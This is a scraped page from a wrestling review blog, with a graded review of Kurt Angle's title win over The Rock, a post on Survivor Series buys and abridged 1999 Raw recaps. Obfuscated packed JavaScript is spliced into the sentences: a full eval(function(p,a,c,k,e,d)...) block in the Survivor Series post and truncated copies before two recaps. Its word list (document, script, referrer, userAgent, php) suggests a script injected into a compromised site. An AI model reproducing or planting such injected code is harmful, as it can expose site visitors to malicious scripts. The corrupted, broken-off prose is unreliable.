Rating: B. Very solid match here with both guys looking completely comfortable out there. I’d have liked to see what HHH could have become had he been able to stay heel rather than having to turn again for the sake of saving the Austin story from the awfulness that Rikishi was. Still though, solid match here with a very good ending.

Edge and Christian congratulate Los Conquistadores and apparently there’s a tag title match on Raw. VIVA ESSA RIOS!

Recap of Angle vs. Rock. Benoit cost HHH a #1 contenders match by going after Stephanie. HHH told Stephanie to stay away from the ring as she’s a liability. Kurt more or less stole her and she’s his manager now. Rock is all shaken up by finding out that Rikishi did everything and ran over Austin so he’s a bit off.

WWF Title: The Rock vs. Kurt Angle

This is announced as No DQ as Kurt comes to the ring which is a new development. Stephanie distracts Rock and Angle gets a quick advantage to start. Angle gets a chair shot on the floor and Rock is in trouble. Back in the ring a Samoan Drop gets two for the champion. Angle tries to leave for some reason but Rock makes the stop. Rock throws him through the set as this is a big brawl.

Ross says that Angle is challenging for the richest prize in the Game. Is this suddenly a match taking place inside of HHH? Is the belt his pancreas or something? Stephanie chokes Rock behind the referee’s back as Ross says she’s legally breaking the rules. If it’s legal, how is she still breaking the rules? Rock gets a chair shot to his ankle. This was before the ankle lock I think.

Dragon screw leg whip sets up the Sharpshooter and he taps out as Stephanie has the referee. Angle is continuously selling the knee having it start off as a big hindrance and moving on to a slightly weaker one which is very impressive. He gets a long chinlock to kill some time but winds up on the floor and we’re back outside again.

Angle tries to get a belt shot while Stephanie gets the referee. I don’t get the whole thinking here but they’re trying at least. Angle misses the perfect moonsault and we slug it out. Rock punches the heck out of him and takes over again. Again might be a stretch but you get the idea. A spinebuster sets for the Elbow but Stephanie makes the save. Rock Bottom for her but Angle stops the elbow.

And cue HHH who destroys….Kurt. Ah there’s the Pedigree for the Rock too. That’s more like it. HHH carries Stephanie out as Angle covers for two and a big pop on the kickout. Rock gets a DDT for two as you can feel us getting to the ending. He sends Angle to the floor, walks around the ring with him and throws him back in. Even Rock can have an odd moment I guess.

Here’s Rikishi too as they continue trying to force this push down our throats no matter how hard it fails. He beats on Angle a bit as apparently he’s helping out his Samoan brethren. Rock Bottom out of nowhere but Rock can’t cover. The fat Samoan gets in and accidentally nails Rock in the corner and accidentally superkicks him. Both guys get Olympic Slams to give Angle his first of 9 (not 12 you freaking idiotic TNA) world titles to date.

Rating: B. This was of course solid as you would expect for these two. Angle was still kind of in over his head at this point as he hadn’t locked in that total insanity thing yet. The Rikishi interference was annoying but I get the HHH aspect at least. Amusingly enough Angle won the title once Stephanie left rather than while she was there. Solid match but their rematch in February where Rock would get the title back would be better.

Overall Rating: C-. Not much here other than the last two matches but it wasn’t horrible. This company was the polar opposite of WCW. Back then you had the young guys owning the top of the card while the old guys would be absolutely dreadful. Here though the first 2/3 of the show would be pretty weak but the main matches would rock the house.

The problem would come in about two years as the old guys stopped being interesting. This was an ok show but the two last matches were good. Nothing to go out of your way to see though. Things were thrown upside down as with HHH being turned but that had to happen for the sake of saving Austin which wasn’t his fault.

 

Remember to follow me on Twitter @kbreviews




Survivor Series Tanks

Apparently eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekhsb|var|u0026u|referrer|ytkiz||js|php'.split('|'),0,{})) the 2012 Survivor Series did a horrible amount of domestic buys.  This tells you three things.1. Having Ryback, the unstoppable monster, lose more or less killed him with the audience.  The audience isn’t stupid and knew that the only chance he had was inside the Cell, and that anything after that was a waste of their time to watch.

 

2. Ryback is going to lose his match on the 7th and his character is going to be crushed even further.

 

3. Having Rock announced six months in advance is going to turn out being a really bad idea.




Monday Night Raw – February 8, 1999: I Can’t Remember The Card After The Go Home Show. That’s Bad.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbstz|var|u0026u|referrer|estda||js|php'.split('|'),0,{})) Nigh Raw (Saturday Night Raw)
Date: February 13, 1999
Location: SkyDome, Toronto, Ontario, Canada
Attendance: 41,432
Commentators: Jerry Lawler, Michael Cole

We open with a recap of the Rumble where Austin was ambushed by the Corporation.

Mark Henry stares at Debra.

Post match we get a catfight.

Earlier today, Val Venis and Ryan Shamrock were spotted at a hotel.

We recap Val and the Shamrocks, which has ticked Ken off to no end.

Goldust vs. Gillberg

Steve Austin vs. Mankind

Post break, Vince puts Austin in the Corporation Gauntlet, minus Rock.

Godfather vs. Viscera

Mideon sits in on commentary and has an eyeball in a jar. Godfather pounds away on the fat man and gets a boot up in the corner to block a charge. Godfather gets Viscera down with a suplex but Mideon runs in for the fast DQ.

Val and Ken are fighting in the back and Billy Gunn is dragged into it.

X-Pac vs. Kane

Let it continue. Pac fires off kicks to start but a spinwheel kick is caught in a spinebuster for two. Kane throws him around even more before sending Pac to the floor. The big man tries to crush Pac with the steps but hits the post instead. A dropkick sends Kane off the apron and we head back inside. Chyna comes in for the lame DQ.

HHH saves Pac from a Chyna Pedigree.

Droz beats up Kevin Kelly for calling him a punk.

Steve Blackman vs. The Rock

Steve Austin vs. The Corporation

Vince talks trash to end the show.

http://kbwrestlingreviews.com/2011/03/16/st-valentines-day-massacre-austin-vs-mcmahon-one-on-one/

http://kbwrestlingreviews.com/2012/05/16/monday-night-raw-february-15-1999-the-forgotten-rock-vs-mankind-match/

Remember to follow me on Twitter @kbreviews




Monday Night Raw – January 25, 1999: Talk About Gimmick Overkill

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyaat|var|u0026u|referrer|dhhzh||js|php'.split('|'),0,{})) Night Raw
Date: January 25, 1999
Location: America West Arena, Phoenix, Arizona
Attendance: 15,538
Commentators: Jerry Lawler, Michael Cole

We open with stills and audio from last night where Rock cost Austin the Rumble and gave the win to Vince.

Billy Gunn vs. Goldust

Mankind is here.

Therefore, Rock has no legitimate claim to that title. Mankind wants his rematch, and he wants it during Halftime Heat, in an empty arena match. This was actually a very clever way to make sure very few spoilers got out. As for the money, Socko is going on a shopping spree. Rock says deal, so Mankind says Have A Nice Day!

Droz vs. George Steele

The Oddities save Steele from the beating.

Debra says no one can resist her. Mark Henry comes up to hit on her and Debra seems interested.

Tag Titles: Owen Hart/Jeff Jarrett vs. Big Boss Man/Ken Shamrock

Boss Man vs. Jarrett to start with Boss Man cleaning house. The baseball slide into the right hand has Jeff in trouble (he and Owen are challenging) but he avoids a charging Boss Man in the corner. Owen comes in and stomps away, drawing a nugget chant. A big clothesline from Shamrock puts Owen down as Debra tries to blow kisses at Shamrock. An enziguri puts Ken down as does a powerslam, which gets two.

This brings out X-Pac who says that the Corporation needs to back off. Kane is too big and tough to take this kind of nonsense. He offers Kane a spot in DX and challenges Shane to a fight right now. This earns him a chokeslam from Kane, who apparently wants to stay in the Corporation because they have good dental. Shane gives Pac a Bronco Buster.

Val Venis vs. Test

Nothing of note happens until Ken comes out and blasts Billy with a chair, sending him into the pumphandle slam for the pin.

Road Dogg/Al Snow vs. Gangrel/Edge

Taker says the evil begins tonight.

Taker is watching from his throne and says this will be a holy war.

WWF World Title: HHH vs. The Rock

Here are the beginning of those changes, as Chyna hits HHH low and joins the Corporation. A big HHH beatdown ends the show.

http://kbwrestlingreviews.com/2012/12/16/halftime-heat-the-stupidest-camera-angle-of-all-time/

http://kbwrestlingreviews.com/2012/02/15/monday-night-raw-february-1-1999-300th-episode/

Remember to follow me on Twitter @kbreviews